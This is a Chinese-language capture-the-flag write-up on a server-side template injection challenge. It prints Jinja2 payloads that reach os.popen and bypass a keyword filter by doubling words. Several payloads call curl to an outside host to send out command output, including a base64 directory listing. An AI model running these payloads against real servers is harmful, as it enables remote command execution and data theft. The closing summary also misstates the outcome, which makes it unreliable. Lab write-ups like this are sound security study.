参考:https://www.cnblogs.com/karsa/p/13523730.html
一、自己做:
抓包没啥,除非要扫目录,
啊,,就是直接返回的逻辑,,xss也是直接返回,也就说明有某些机制了,然后想去闭合一些标签,但是都没成功,</div>,</h1>,这些,

感觉没思路了,,扫扫目录把。
别了,想到了ssti,试了一下:{{2*2}},报错了
Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13
而且,还不能处理中文??啊手动阀

一个{不报错,{{两个就报错,这是为什么,,,可能是PHP中输出变量用了{}来包裹起来了??

这样,突破点想不到,那就想想有什么危害把,

看WP把。。啊,,这个题是真的狗,,,
二、学到的&&不足:
三、学习WP:
啊,,WP说是SSTI注入,但是过滤了{{。。吐了要用{%。但是这里的报错是PHP的报错呀,,
作者说加了个php模式的报错和index.php路由。好吧,直接被骗到了。其实这里也能猜到可能是故意迷惑的,继续往下走。
测试发现{{会被过滤,然后就看bypass的payload,,,low的很,找前辈们写的SSTI绕过,看这个。
直接用文章中payload打:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl https://qwert.free.beeceptor.com/?i=`whoami`').read()=='p' %}1{% endif %}
报错了,可能时有什么过滤,

然后爆破fuzz或者手动测试。
发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想
os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen
payload:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}
注意,这里有几个点:
1. 所有被过滤的关键词都要进行相应替换
2. 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
3. ls /是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录。
4. ls / |base64 要用反引号括起来,
监听靶机

解码后是这个,
app
bin
boot
dev
etc
flag_1s_Hera
home
lib
lib64
media
mn
然后换一下命令就好了
本文记录了作者在GWCTF 2019比赛中遇到的一道关于SS TI(Server-Side Template Injection)的问题。在尝试通过抓包和扫目录寻找突破口未果后,作者转向了SSTI注入,并遇到了中文处理和PHP报错的挑战。通过学习Write-up,作者了解到题目中的PHP错误信息是误导,进一步研究了如何绕过过滤机制。最终,利用双写绕过策略构造了payload,但遇到了命令过滤问题,需要进一步的爆破或测试来解决。
596

被折叠的 条评论
为什么被折叠?



